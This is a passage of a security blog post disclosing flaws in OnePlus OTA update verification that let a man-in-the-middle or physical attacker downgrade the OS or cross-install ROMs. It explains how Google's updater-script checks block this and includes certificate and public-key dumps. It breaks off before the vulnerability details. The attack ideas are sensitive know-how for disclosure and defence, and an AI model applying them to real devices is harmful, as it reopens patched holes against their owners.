In this blog post we present new trivial vulnerabilities found on OnePlus One/X/2/3/3T OxygenOS & HydrogenOS. They affect the latest versions (4.1.3/3.0) and below. The vulnerabilities allow for a Man-in-the-Middle (MitM) attacker to intervene in the OTA update process in order downgrade OxygenOS/HydrogenOS to older versions and even to replace OxygenOS with HydrogenOS (and vice versa), both without a factory reset, allowing for exploitation of now-patched vulnerabilities. Moreover, the OnePlus X ROM can be installed over OnePlus One and vice versa, leading to Denial-of-Service. In addition, the vulnerabilities can also be exploited by physical attackers allowing for easy exploitation of some of the vulnerabilities we previously disclosed.
On OnePlus 3/3T devices, the physical attack vector only works if Full Disk Encryption (FDE) is off, however the attack can also be carried on 3/3T devices with a lock-screen password, in other words, on devices without Secure Start-up. As for the MiTM attack vector, there is some user interaction, however, it’s identical to normal OTA updates (see the video below).
We responsibly reported the issues to OnePlus Security on January 26 2017, but unfortunately OnePlus did not meet the 90-day disclosure deadline. We also offered OnePlus a 14-day deadline extension on April 9 2017 – to date, the vulnerabilities are still unpatched.
Android Over-the-Air (OTA) Updates
Before we dive into the vulnerabilities themselves, we will briefly describe some fundamental properties of Android OTA updates.
An OTA update package (OTA from now forward) is a digitally-signed zip file. For instance, let’s take a peek inside the OnePlus 3T OxygenOS 4.1.3 OTA:
[OnePlus3TOxygen_28_OTA_051_all_1704112011_37887cb1a1674e96.zip]
|-[firmware-update]
| |-adspo.bin
| |-BTFM.bin
| | ...
| |-xbl.elf
|-[META-INF]
| |-[com]
| | |-[android]
| | | |-metadata
| | | |-otacert
| | |-[google]
| | | |-[android]
| | | |-update-binary
| | | |-updater-script
| | |-CERT.RSA
| | |-CERT.SF
| | |-MANIFEST.MF
|-[RADIO]
| |-static_nvbk.bin
|-boot.img
|-system.new.dat
|-system.patch.dat
|-system.transfer.list
The certificate is placed under the zip file comment section. For instance, here is the certificate information of the above OTA. (Code ripped from AOSP that dumps this information from OTAs can be found at our GitHub repo):
[
[
Version: V3
Subject: EMAILADDRESS=oneplus@oneplus.cn, CN=OnePlus, OU=SW, O=OnePlus, L=Shenzhen, ST=Guangdong, C=CN
Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5
Key: Sun RSA public key, 2048 bits
modulus: 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873
public exponent: 65537
Validity: [From: Thu May 07 10:25:19 IDT 2015,
To: Mon Sep 22 10:25:19 IDT 2042]
Issuer: EMAILADDRESS=oneplus@oneplus.cn, CN=OnePlus, OU=SW, O=OnePlus, L=Shenzhen, ST=Guangdong, C=CN
SerialNumber: [ 8abe4e1a e1d847f1]
Certificate Extensions: 3
[1]: ObjectId: 2.5.29.35 Criticality=false
AuthorityKeyIdentifier [
KeyIdentifier [
0000: 54 61 E2 B1 A9 15 E1 4D 9F 0F 92 DD 48 01 13 31 Ta.....M....H..1
0010: A8 49 AE 64 .I.d
]
]
[2]: ObjectId: 2.5.29.19 Criticality=false
BasicConstraints:[
CA:true
PathLen:2147483647
]
[3]: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 54 61 E2 B1 A9 15 E1 4D 9F 0F 92 DD 48 01 13 31 Ta.....M....H..1
0010: A8 49 AE 64 .I.d
]
]
]
Algorithm: [SHA1withRSA]
Signature:
0000: 25 AD 49 5A DE A9 8E 3B 65 DA 3E D4 B0 58 D9 0A %.IZ...;e.>..X..
0010: E2 44 DD E2 49 8C EA 26 88 87 61 A0 C4 F3 A9 70 .D..I..&..a....p
0020: BD 58 2E 7D 64 B4 27 6B 20 98 BD 87 52 8E 7D FE .X..d.'k ...R...
0030: BF B1 38 03 F7 4B DB 53 0C 0A 0C BE 94 55 EC 99 ..8..K.S.....U..
0040: 68 1E CD 30 D0 B7 81 53 7E 17 DB 87 29 74 3F 6B h..0...S....)t?k
0050: 06 A6 E2 74 91 02 CC 6D E2 25 25 EB F0 6E B9 4E ...t...m.%%..n.N
0060: E8 2A D7 24 23 65 8A F6 98 5F 05 F7 A9 DB 42 48 .*.$#e..._....BH
0070: 92 AC 76 0A 37 C1 58 69 52 E9 C5 AA 30 CA B5 6E ..v.7.XiR...0..n
0080: D3 65 41 5A B6 91 1C 33 87 76 20 F2 8F 7C 87 77 .eAZ...3.v ....w
0090: 97 F8 1D 1E 80 2E A1 B9 8E 90 3B 8E 55 1D FA 1F ..........;.U...
00A0: 01 B3 09 90 CC 8F 17 33 F0 E9 82 3C BC 83 66 44 .......3...<..fD
00B0: 96 30 89 2B 2F AB B0 D1 09 A4 A8 6F EF CD D3 57 .0.+/......o...W
00C0: D6 96 04 D0 DD AC AA 9F A7 9E 1A EA 3D D9 D5 D8 ............=...
00D0: 18 C1 72 7B E6 6F A5 27 D9 25 B0 A8 41 4C A2 AC ..r..o.'.%..AL..
00E0: 35 E4 61 47 B0 34 C3 73 DE 8E EB FA D7 FF CC 0D 5.aG.4.s........
00F0: 88 AA 93 50 A9 10 81 7E 6A 42 2A B8 9B F2 44 B7 ...P....jB*...D.
]
Once the OTA has been downloaded and verified (the certificate public key must be one of the keys placed in /system/etc/security/otacerts.zip
), the platform reboots to ‘recovery mode’, which verifies it once again (this time the certificate public key must be one of the keys placed in /res/keys
). Then a script, updater-script
(provided in the OTA) which is in charge of the update process, is interpreted by update-binary
(also provided in the OTA). Another vector for pushing OTAs is sideloading them via the recovery mode UI, which is also possible on devices with a locked bootloader – hence the digital signature prevents both remote and physical attackers from providing malicious OTAs.
Potential Vulnerabilities
There are 3 potential vulnerabilities with the OTA verification process described above:
- Downgrades. Nothing verifies the OTA date against the installed build date.
- Crossover to a different product’s ROM. While the OTA and the vendor are bound together (through the keys), there is no binding between OTA and the product. What prevents an OTA of one product to be installed on another product, of the same vendor?
- Crossover to another ROM of the same product. Some vendors distribute different flavors of Android (different ROMs) for the same product. For example, OnePlus OxygenOS (global) and OnePlus HydrogenOS (china). What guarantees that an OTA of one ROM wouldn’t be installed over a current installation of another?
We will now elaborate on each of the potential vulnerabilities, and see how Google Nexus & Pixel avoid them (where relevant).
Downgrade Attacks
An unauthorized OS downgrade is extremely problematic as it enables exploitation of now-patched vulnerabilities. Consider our previous OnePlus findings, CVE-2017-5622, CVE-2017-5624 and CVE-2017-5626. Those vulnerabilities, patched in recent OxygenOS versions, allowed a malicious charger to unlock the bootloader without a factory reset & also disable dm-verity
– being able to downgrade the OS renders the patches completely useless.
There are 3 different goals that attackers can achieve by downgrading the OS, and exploiting old vulnerabilities:
- Subvert confidentiality: Exfiltrate user data.
- Subvert integrity: Execute code on the device for other purposes.
- Unlock/jailbreak the device.
The third goal is different, in the sense that it implies a stricter threat model. iPhones fall under that category, always preventing downgrades (except for a short window of time after a new version is released). The Nexus / Pixel devices, however, are more lenient, being unlockable handsets. Since the third threat is irrelevant for them, they allow OS downgrades, however only if they are in the ‘unlocked’ state. The security of downgrades (i.e. preventing the first and second threats) lies within the fact that transitioning from the locked->unlocked state requires user interaction, and yields a factory reset (i.e. losing user data).
Downgrade attacks are prevented in the Google Nexus/Pixel devices by their updater-script
. For example, let’s take a look at an updater-script
of a recent Nexus 6P OTA:
(!less_than_int(1488578051, getprop("ro.build.date.utc"))) || abort("E3003: Can't install this package (Fri Mar 3 21:54:11 UTC 2017) over newer build (" + getprop("ro.build.date") + ").");
getprop("ro.product.device") == "angler" || abort("E3004: This package is for \"angler\" devices; this is a \"" + getprop("ro.product.device") + "\".");
ui_print("Target: google/angler/angler:7.1.2/N2G47H/3783593:user/release-keys");
show_progress(0.650000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/platform/soc.0/f9824900.sdhci/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
abort("E1001: Failed to update system image.");
show_progress(0.100000, 0);
[...]
ui_print("Patching vendor image unconditionally...");
[...]
set_progress(1.000000);
We can clearly see that it prevents installation on devices with a newer image, by comparing the value of the ro.build.date.utc
system property with a hard-coded value. In addition, it also prohibits installation on non-Nexus6P (angler
) devices, by comparing the ro.product.device
system property to angler
.
Another way for preventing OTA downgrades is to change the OTA keys for every release. In addition, please note that, at least for MSM-based devices, executing downgraded code (but not the partition flashing!) could also be prevented further by the bootloader itself upon boot – by the SW_ID
OU field. However, at least on Pixel/Nexus devices, this is generally not used (different images have SW_ID
with a VERSION
field set to 0), probably in order to allow for devices to be downgraded if unlocked. Furthermore, using this approach requires a new bootloader to be bundled with every OTA, which is inconvenient.
Different Product ROM Crossover
Upgrading a product with another product’s OTA has unexpected results, such as making the OS unusable due to various reasons including hardware incompatibilities between products and per product OEM key which would cause Verified Boot to fail. Such crossover can be prevented by having the vendor generate per-product unique OTA key pair. Google does that for all products (but not for different models, see next). The following shows the /res/keys
file taken from the latest recovery images of various Google products:
Product | /res/keys |
---|---|
sailfish | v4 {64,0xc21ce9df,{3092114913,3730537280,2255067817,1824105612,3514227512,23862228,4018828910,569387614,1666835248,3727768975,3419413126,658294739,2963162294,3680079678,3889919067,1394243876,263494016,2925627801,3185431148,792911655,4207325429,2934404495,4055601841,3507620385,639159497,3945943435,3713260915,3874401925,2458777815,2185454245,2323467720,1887818924,2907304277,3433699433,4025602760,655455580,4264381028,3228345786,3176546524,1044005454,2013191089,2368132519,3663564760,399279237,3901653211,1049212394,877022387,1717186113,3495771322,2504972980,4161449949,3548441877,4156751992,3638549180,1602395742,615744446,4277086270,3570684216,1075636972,2723749538,4271116634,4117047087,1313013404,3354445122},{1047836605,3975917280,457274108,3998621322,4100763083,3692460323,2537309577,4149527958,2210340304,3137599939,1999785837,1660826939,1104106797,2881528099,1777840429,2468209851,452569984,3331175034,1537534725,3597159293,2510159484,4081499182,373806903,3432723191,1155128487,4184226080,24014227,2444876582,1794677625,1967354566,492469567,2767860065,3453652908,766515035,3739256839,263791009,1814471827,296957538,2403036272,3625214599,18773766,3076470692,4113766916,1746129725,3403612398,1479477582,3800802646,3487996737,1887226850,3245334433,22666778,1019341065,586053044,437778193,2342193887,357951423,3305378761,4030098503,2535170399,2358900739,1524379300,3828787988,1362444138,2359385002}} |
marlin | v4 {64,0xb0425d71,{1023622255,2502858204,4249538092,2485122547,628348022,3682068307,168572986,2746150226,2756638887,4057432688,3209024676,1067369747,1364348971,986316860,2882614559,1348531057,590182430,2066383913,4106870690,4275147330,959870853,3648676048,1423139911,1464772799,1880361588,2930107697,2645344430,484153102,522130228,990726603,701403893,514948539,353887514,842243960,2722218366,1342190517,3122870331,1518379900,3297713325,1553412322,1148077320,3062283644,1054772510,3093677824,2075868670,1745627641,2754633497,3608863853,58803327,3194360273,3067374119,3475360619,4139261645,234323709,2852165752,2397809059,2687768588,3701439017,3708429940,1769245931,2687953292,1069327396,723791662,3401330872},{2950721280,3255259322,1925621034,49814302,1169888866,691386441,2604959015,2692419510,1810254706,2639967349,1739578625,3078952990,3357670547,1319464726,3592423310,1479438499,982173765,2794475240,2247932383,341652433,554236733,1428478360,974311586,3692511084,3265308598,943074691,2604306589,429348560,3679944136,198600615,3040785259,145605407,2437294033,274727004,1289637406,895635173,3315331518,425789769,2322513649,3259744874,1869972158,489380842,940269785,1895493266,859575450,1300946507,2810891627,1882999237,2404189079,2824114451,4137242254,2320238218,2662840339,3285485487,3735487675,929834334,210067681,2311415793,2460302736,3885686779,1048253112,1643896365,1253111570,2993913719}} |
ryu | v2 {64,0x81a64367,{3507410857,99743808,2565371821,4078822552,3090252105,356464292,3184907878,430091501,4016578241,961418987,1717508529,2672508650,2346236481,3567499331,2019738121,1015149571,3057301045,2003795754,807019313,3567244599,451391120,1285527330,2280959526,2842369246,2689627738,2177143991,3277199476,1908847907,544953837,2893208683,3195535653,409194049,1057700491,3340855046,3127254969,194515089,3035318510,2807829820,1261334769,1501623272,2366164989,647370810,1479836029,3847194203,3789257779,2356604328,2266781126,2322424094,3848908148,186047672,2307611871,1079490018,2838269065,894222626,1132522808,1647056073,3884924435,304280720,3528410368,108543497,1570392134,2815994348,2426303862,3277162373},{3459964849,3370831347,2284286560,831753360,3230019077,1319514331,977120945,213291966,3401807279,2585849179,2862655529,2222956191,2807774714,934219720,853822985,3703581526,850833169,2491502797,165694765,2848245415,45065633,672492572,3353593425,1955762243,3273939935,2782176483,94602245,127690261,1153776698,534738279,2195781572,2739917596,1446766640,4068693346,4233389768,4150429790,2263503294,3414932708,1864979596,746320396,2704341108,3787724421,1558962257,2537862584,2264254091,311554439,1323007570,3122591103,2573971469,3349719289,3743866152,2829973784,1151237112,915980814,3744110929,2622499355,542578854,1606082160,4132872748,2679376059,1961549157,3438502186,4135706240,1902098381}} |
bullhead | v2 {64,0x19d30c5b,{314358829,2491998043,4261729432,2937793049,1378128321,908017048,1588235959,2848749823,2337801124,604735083,4234774025,1428250037,757205693,3112022069,2852057753,1855301056,759182209,3211850950,2365534766,1077899956,63974725,1667800830,3507866962,4220982027,1474169895,1932976787,1378003859,1185086226,1477110683,2835864578,2673406921,2793166234,458310406,3148860713,2662641377,1247390916,756987493,3124548069,3506692028,2766939121,2084058343,192047236,1061098055,1908166783,3226487131,880726136,3359842552,2445404052,2594892210,2815633735,3552274625,1456061969,2490429445,1031099677,1657468015,2166256058,3229402271,1325755065,3415731400,318940657,830470575,1698004112,1608040767,2836600310},{3905301152,2584918573,1607960273,2758564704,4146821101,925119620,1178562399,4127029051,2051941546,2396491003,837058913,2400515816,1091046798,1950667056,2531659241,1205621334,1457499664,651779287,3571846521,1060192827,845218135,1629210985,3649431933,1545080799,3654933876,2377625720,2735597242,146268865,4136297931,4107700774,4254397131,876335467,520759960,1781146154,2305944,2649932480,4242044722,1115234597,2098405357,2878832406,438701330,2508314759,2057546122,2316409717,2841485473,1912195487,1473884030,1548698309,4208123145,1528056035,1451952452,85526262,1128851420,213552186,2932873708,2086901239,440274262,2338394769,3069379398,3529895174,22409441,217860509,4247238293,62101374}} |
angler | v2 {64,0x305887f5,{2251903907,3265238767,3583888785,1852700457,2265252110,298619493,206938040,124967916, 2662502016,209186564,1129792665,2906270260,1575293878,4170508307,3924298556,373803077,1237478278,2366352916,1216820747,4113859055,4022849684,3404641735,1600487143,2603990008,1979219262,2547567301,770299238,593477875,565474388,2363568367,4156019869,3758471667,2194625082,2596216998,3472129383,3571617922,2243162,2242494145,449995661,2821716865,3243294576,295192943,138971952,4184607513,2753229806,1540588420,3577793057,1481002686,518570835,372423045,4140273309,3304995679,380079732,3990113277,3454691708,1737039316,2645987961,1901080579,1453429069,4271131358,1508096882,2097775111,4266223423,3774689135},{2035942019,3648782740,1004217667,3536372406,3481159276,638483176,2238240917,2970363541,3410183296,2464675118,1364616562,1703330535,603464157,3278193356,1270138060,3266158972,1436582350,1133255446,1369807198,556121153,1138833108,3649884557,2188494196,58478109,2754619717,1289697768,2671398378,644259927,1157104842,1446068454,4153102790,1251546576,3138827587,2197148432,1688649675,4003956021,3528215664,3663307491,3707152443,1675274737,2626262542,2613095102,1624481874,3937419189,299542043,4123943772,946470826,1760636487,967541608,1514383582,1790350270,1441790410,3990120557,4078273299,201519050,1333268235,2909508923,3055871759,3327044953,2808415054,1612902029,2657569288,926676322,36057231}} |
fugu | v2 {64,0x935c9ff3,{623374021,3124484183,2382215197,2947948575,2288265657,1822316819,291539715,1529275865,988239059,178385718,789740939,3900240574,2807793813,1434690450,2853120361,1535551571,3659391913,2802418842,3439812593,3479862883,2251715542,2374980893,2822471710,421550622,2093547507,1124442020,1033689365,4279280973,3244155575,1162577762,1634998148,1610917359,3425386560,3183394254,1726380972,2996132269,3715436056,4143509239,1976704513,3407940059,487279816,2973606784,841582828,1842831080,3248070049,163464194,3440284190,1919797313,703258022,2404056083,1233913620,3121576144,2531328529,175265267,3121692906,2576793934,2689038968,1472832074,1255462657,3060847836,745043097,1479548250,2950138713,2745240604},{445385898,453321431,2940363495,791640735,1441741253,3012656494,309208466,1907958378,963487253,1126069610,466326029,1792106226,2676720937,547720545,2709697004,129473615,2117094417,4204241981,1814300434,940417161,4088858827,3479346537,275162119,3039735038,2848333125,2689903418,3035840650,435582522,1957429360,2554809319,157330793,2987155983,3141616297,640366483,528107219,1225628976,1980276752,952593616,326808553,2939340279,744759550,998876642,947921060,3265548876,2797323848,2733970327,3429056781,2493189313,2252771657,2084083839,3397473538,469589772,1629763706,1472722990,1820321649,1283358243,2205023515,1857606779,4062280156,3572069571,4039078627,2944900639,3143957446,2356899024}} |
shamu | v2 {64,0x68505c63,{2182281909,3826953707,416288384,3225934110,276727383,647145470,3950486300,229287211,2227731676,614801633,1135604648,922634858,872998210,1512533349,252300999,2228998562,2672447637,2050882578,4079010668,3450072823,18686470,881633841,567691955,2170392499,1772288596,2613893662,1610404452,3242514816,1724928094,2385622861,1160560007,2049381514,1581728452,2712112225,1329642193,1235176952,2459693674,3075554592,3344684517,4141822430,1816550372,3642688219,855529524,4261076541,3350665701,3201741215,4052300600,3533239503,2420290406,3186625583,4076505745,2792720146,2113021797,1469902090,3779428107,1898863633,2782035387,3417916617,3301525686,376048905,3284670269,2986421902,3869654560,3564602332},{3917070661,1068715673,3176633314,2467197038,2471891236,2948807156,393999603,2921215014,1901729736,2587681282,2115610621,519987796,3826811828,3153153383,3074396108,2095881765,129997149,735938185,2584613758,2714772858,2129834769,1246537224,649835309,2810648783,4170004078,3195489895,4002580525,1090792428,1720561368,521761142,1279100949,724367987,2509314524,2240394677,950809150,1711193193,1354793118,2577078124,4219811794,3605661831,1413664388,3424119706,1155610126,4253581181,3890841448,284280000,3178487091,3858210353,362339226,1862267347,3658744891,2296839188,2794795755,1093135775,2993798572,364920638,2810425098,3334655794,3386038119,427581158,3336918841,3661776944,2687652575,1293366743}} |
volantis | v2 {64,0x73e951ff,{2586661377,3853060941,351347633,332365742,2549225609,3652981915,1788180872,1916637766,3924870267,3982667501,2469236779,1668397196,644539546,1371672383,2947718345,3187982352,3195718960,1374702639,1314857769,3428220978,1526907930,1680434686,688796741,1576992257,3368381120,2005988235,928960480,3592856960,548668356,2318867228,1897578323,3809351085,801399517,1116663608,1011389685,3073318531,249121443,572203468,516171228,3936811049,3505429342,1569540618,2842570995,2071809218,3052014464,3976278530,1396871167,1374044030,527804501,4047852811,822766518,914052639,4234171118,1545328657,1166840197,1957119373,3064127956,1380217549,1212895373,3862706409,29817631,1477286450,1742601815,3902103085},{194545340,2872366376,2487376483,2709374476,3431239584,518463704,3627985114,1391726804,3181709700,97069089,4270043058,1370856532,2366940374,2711754155,764630305,2306301468,4281720642,3551614214,1637423084,3847876046,3426907585,2061558047,3779197260,936470744,4204723040,2519060406,2096799612,333667854,327171957,3987583113,2547013629,3555094300,1310070168,3299045214,2501232977,2462120916,4193411417,297660215,3775367047,443449879,165030718,1456859165,2442498806,2368241435,2904466819,335396890,740078433,294213280,248859375,589551980,3677924512,1901246976,1839083608,1318697515,2142212715,2055501450,1851308982,941822290,1830372343,309612790,2981617428,2801658501,2671179821,2692721420}} |
volantisg | v2 {64,0x73e951ff,{2586661377,3853060941,351347633,332365742,2549225609,3652981915,1788180872,1916637766,3924870267,3982667501,2469236779,1668397196,644539546,1371672383,2947718345,3187982352,3195718960,1374702639,1314857769,3428220978,1526907930,1680434686,688796741,1576992257,3368381120,2005988235,928960480,3592856960,548668356,2318867228,1897578323,3809351085,801399517,1116663608,1011389685,3073318531,249121443,572203468,516171228,3936811049,3505429342,1569540618,2842570995,2071809218,3052014464,3976278530,1396871167,1374044030,527804501,4047852811,822766518,914052639,4234171118,1545328657,1166840197,1957119373,3064127956,1380217549,1212895373,3862706409,29817631,1477286450,1742601815,3902103085},{194545340,2872366376,2487376483,2709374476,3431239584,518463704,3627985114,1391726804,3181709700,97069089,4270043058,1370856532,2366940374,2711754155,764630305,2306301468,4281720642,3551614214,1637423084,3847876046,3426907585,2061558047,3779197260,936470744,4204723040,2519060406,2096799612,333667854,327171957,3987583113,2547013629,3555094300,1310070168,3299045214,2501232977,2462120916,4193411417,297660215,3775367047,443449879,165030718,1456859165,2442498806,2368241435,2904466819,335396890,740078433,294213280,248859375,589551980,3677924512,1901246976,1839083608,1318697515,2142212715,2055501450,1851308982,941822290,1830372343,309612790,2981617428,2801658501,2671179821,2692721420}} |
hammerhead | v2 {64,0x7a96190f,{2526431761,1739225627,1560237492,3313775523,3174171727,1182959616,1989036193,2462223655,405242505,3990059844,1872348759,625751286,936746741,783515409,881498657,504288246,2992499733,79945880,106056113,13101723,938611303,386143415,167292777,4007810062,241951531,4033124877,264375144,2357256675,43363751,1677899,516104204,622805238,3667130561,4032914196,4207667375,298055915,716114859,780646785,823449647,1647355018,479007727,848763661,276404266,4229969305,1472312055,1997103907,1404075409,867171224,2015278359,553693386,798500429,2497141898,1010860482,2060207785,1623596243,729448929,3962281066,764968431,2272608932,3132371716,3901073628,3951105103,3300281219,3359401071},{3060539512,2849718274,2424550585,1778928483,328968151,3162009018,4190756565,2455614595,218977347,4206932042,1879327712,1682592009,3574223544,350173063,3448179902,3475992782,923685055,2208906274,2039248736,2337765640,3726644204,1460797442,3358877812,2537467398,3959105161,3417593650,2879049834,423339193,2347926300,886604759,4017119583,1986283083,508719486,2981684956,2490343646,2859415810,3692308069,38705255,3520092101,174177293,1584151761,1298877609,466857614,3128933743,2280967246,4004704547,3969188850,134927588,1897787533,3927719567,1459803517,558663744,100574375,3176895787,1379570743,2374529094,1943177138,1818878651,3678960304,1170176212,3715439041,2233010139,2581970648,217744462}} |
v2 {64,0x9e1b3e73,{3960039749,3073200495,1987109221,1988989130,3199161155,4230369557,2742766037,3037890440,2014137554,4048070422,981333911,626907293,567715552,2604244995,792629107,2539518442,1093836903,801320144,2715711109,107096811,1500518112,280316596,1375449270,3270229596,1253891515,3182061153,2277348880,3441041682,2306382518,1428196497,1542717853,4181636203,2990248424,1835336540,1301167022,3524017361,95367770,2636584359,2108963501,1907916343,2005484846,263620723,2235318990,3238818770,1742517383,4213737409,246764300,1595147042,2580462673,1068523470,1721667336,3484736382,4195276688,2118718288,3674140128,3565492935,1190214502,3248684830,2971501986,3210120081,3985077448,3351720501,3450165558,3193350320},{1826662319,119167237,1412137674,832220486,3659373134,2818333854,2019067109,2965664175,3715883783,604166489,109281899,3736700407,3782871230,4164486689,947574055,2570489824,1157553269,2610603562,2933708796,2152533023,2353004465,3399070630,1818319793,752088995,3891986022,2075811729,3732104242,1390930457,2246122625,1424363003,2929136219,4287923521,3111467809,1888574545,2942715597,3468842897,761020228,2407221558,3274650860,3811051509,2716385929,3725443357,1099137147,2984297941,1132539434,1319293404,2553141790,1248107315,2940216786,1340911499,1160598116,1305082373,779107432,2354725832,3985269062,3154542655,199048748,4274191531,1351846522,1874990592,287121273,3615940826,2789934192,2168487083}} | |
razor | v2 {64,0x6f985475,{261891107,638090366,140612718,571164743,2769131105,3710993750,443716715,1959910683,283514173,2002780343,1915365825,2583590099,276864588,4147379252,479398005,3248668598,451807014,2332078378,1105736818,1235715463,1190142178,463624641,935872603,2938065023,157937416,2320271720,3646936731,3870837099,3181287283,1457284953,3191559351,243944562,2580805060,2744981964,3219704993,2421993951,2641749091,2958570101,269012790,1855722866,215402799,1633100060,3915073319,1488985815,593030103,478168553,1978874671,3642114731,4164489455,4107528189,3302138489,1989982091,2472768677,1472773588,2834546078,2434405458,3928008577,1693263517,1334601900,358205989,2967329612,2803261590,3871171184,2937385219},{2992404287,4111361034,4292876222,3323426003,3640798434,3243281394,390419270,3649310203,1147709632,758806449,1110490130,155583625,3240212810,1519707142,3424304698,3155509105,4267095801,3751057651,176288413,139607369,3640161012,2930855351,1010201051,2089836548,273942930,431758844,2487542175,2654288860,3576050240,2276592134,2576759065,3745203790,4037693249,742782807,2608079925,536381111,1906990763,772373863,1353843230,2952439791,3654132407,3960045705,841394375,1486398154,162193437,3566775209,1790944907,3745635365,610040449,1885891636,2547508929,189241904,77944384,4060761862,3737959709,1177946800,3693817452,2037055243,3464108389,4154757827,862360232,1952900759,1646957795,2282603097}} |
v2 {64,0xd5ce9c53,{2837575717,1874705817,2612325599,3312884295,642577421,961614005,3642196260,799419895,765182081,1434422175,709136655,2843890744,1658104583,1163029469,2490839487,4086655826,2558567955,807988321,896538574,2761958214,2578932136,3826308271,1037794811,1181294069,3203619394,907964106,3875152981,2072929717,1766224536,4100616519,2840383553,1409613201,1811167037,547156959,4063012329,3814304579,1693565248,3594314556,275507006,492063956,1710729816,4279635684,1800021087,2521037045,2397365526,723792687,1397725991,266880813,3270863256,3089302866,2762578797,2705024842,4269603931,4173458189,4226671133,2067240990,843090436,4128919531,142299368,114220691,4025939634,2704766939,2936467000,2768488014},{2817335141,2809678032,553997707,4112555041,3177783995,3357555250,3109767056,686184897,3675225281,4174571018,3197904621,459341128,457414143,1848563011,2321614838,3994356399,4042238841,788292589,44301874,2589297870,2882841210,1894838777,2594603549,684369819,2929166984,2536143558,1972166667,2639088591,3321460507,2295138449,1599577473,3594145004,3530297590,3818103281,3651020107,2680531803,3819197463,1490719575,915649085,3580989806,4223535504,1448522174,2950489379,2304019520,4050231264,4128040895,1825785279,1922140472,1696299042,3376555071,3123142230,3555007857,4175033067,2890235372,1839213390,1690259627,3876227733,4068300539,3882241756,2407540198,182748002,255801188,4197346563,2136205901}} | |
razorg | v2 {64,0xce734441,{3531945023,913657337,1224155131,3264262340,2112624199,527757285,2169755949,3745077087,2923460264,3655175502,4289379554,2601683447,2350916875,28001763,3879805858,3121094116,313080692,1553813907,4046021496,1650103578,4258598824,880070880,2906330417,2396395791,1044521819,1345544339,2364654275,2436864932,3302300027,3941185606,3330071836,1530252529,1310567549,3893369832,1281221585,2113307430,2366829830,3310609071,3041352144,3272512505,4103263249,2394005479,1287220047,1728857686,3660628588,4274783616,2577735533,3829975903,143012881,2087221763,467999259,528548859,1830014026,2320976360,2805972567,3770953294,3292366345,3355883562,3517650356,1588134292,462806612,3353543613,20185589,2479769576},{3918850411,358601210,2687130506,2571080733,4005714466,4174491759,2294283984,2398756006,1235940560,2880807393,1058567602,2797059880,446675673,1448607621,4060904634,3068484542,2705136755,3645144881,745830273,334158033,170400239,3307763980,3896953150,7443151,1057239996,3044495527,3939295449,3737535905,369819161,834824493,2875539168,666902858,1796973097,408620696,621809828,3800637098,3964097411,3708298547,3915184151,859865934,2170351043,3370170779,819267383,3070213227,1392207268,2620949004,1984785239,1781254693,1879767697,1894513105,3769843582,658976085,2689587832,2797789073,569651024,1747325901,4045825145,1079502,1124676715,364109418,3215825564,2154075619,2339011410,1737336551}} |
v2 {64,0xd5ce9c53,{2837575717,1874705817,2612325599,3312884295,642577421,961614005,3642196260,799419895,765182081,1434422175,709136655,2843890744,1658104583,1163029469,2490839487,4086655826,2558567955,807988321,896538574,2761958214,2578932136,3826308271,1037794811,1181294069,3203619394,907964106,3875152981,2072929717,1766224536,4100616519,2840383553,1409613201,1811167037,547156959,4063012329,3814304579,1693565248,3594314556,275507006,492063956,1710729816,4279635684,1800021087,2521037045,2397365526,723792687,1397725991,266880813,3270863256,3089302866,2762578797,2705024842,4269603931,4173458189,4226671133,2067240990,843090436,4128919531,142299368,114220691,4025939634,2704766939,2936467000,2768488014},{2817335141,2809678032,553997707,4112555041,3177783995,3357555250,3109767056,686184897,3675225281,4174571018,3197904621,459341128,457414143,1848563011,2321614838,3994356399,4042238841,788292589,44301874,2589297870,2882841210,1894838777,2594603549,684369819,2929166984,2536143558,1972166667,2639088591,3321460507,2295138449,1599577473,3594145004,3530297590,3818103281,3651020107,2680531803,3819197463,1490719575,915649085,3580989806,4223535504,1448522174,2950489379,2304019520,4050231264,4128040895,1825785279,1922140472,1696299042,3376555071,3123142230,3555007857,4175033067,2890235372,1839213390,1690259627,3876227733,4068300539,3882241756,2407540198,182748002,255801188,4197346563,2136205901}} |
We can observe that:
volantis/g
(different models of Nexus 9) have the same key.razor/g
(different models of Nexus 7 2013) have a shared key.
Therefore, there must be another protection layer – updater-script
. For example, the following scripts are of recent volantis/g
OTAs. Notice the ro.product.device
system property check:
updater-script
of the latest volantis
OTA:
(!less_than_int(1490642563, getprop("ro.build.date.utc"))) || abort("E3003: Can't install this package (Mon Mar 27 19:22:43 UTC 2017) over newer build (" + getprop("ro.build.date") + ").");
getprop("ro.product.device") == "flounder" || abort("E3004: This package is for \"flounder\" devices; this is a \"" + getprop("ro.product.device") + "\".");
ui_print("Target: google/volantis/flounder:7.1.1/N4F27B/3853226:user/release-keys");
show_progress(0.650000, 0);
[...]
updater-script
of the latest volantisg
OTA:
(!less_than_int(1490642587, getprop("ro.build.date.utc"))) || abort("E3003: Can't install this package (Mon Mar 27 19:23:07 UTC 2017) over newer build (" + getprop("ro.build.date") + ").");
getprop("ro.product.device") == "flounder_lte" || abort("E3004: This package is for \"flounder_lte\" devices; this is a \"" + getprop("ro.product.device") + "\".");
ui_print("Target: google/volantisg/flounder_lte:7.1.1/N4F27B/3853226:user/release-keys");
show_progress(0.650000, 0);
[...]
Please note that, at least for MSM-based devices, such crossovers could also be prevented further by the bootloader itself upon boot – by the HW_ID
property if different models contained a different HW_ID
.
Same Product ROM Crossover
Being able to install an OTA of a different ROM means that the adversary could potentially increase the attack surface (additional software). Moreover, different ROMs may have different security patch levels. For example, the latest OxygenOS ROM for OnePlus 3T has the 03-01-2017
Security Patch Level while the latest non-beta HydrogenOS ROM for OnePlus 3T has the 12-01-2016
Security Patch Level. Many vulnerabilities have been patched since then.
Preventing such upgrades could be done, again, by the updater-script
– simply check some system property that identifies the installed ROM.
The OnePlus Vulnerabilities
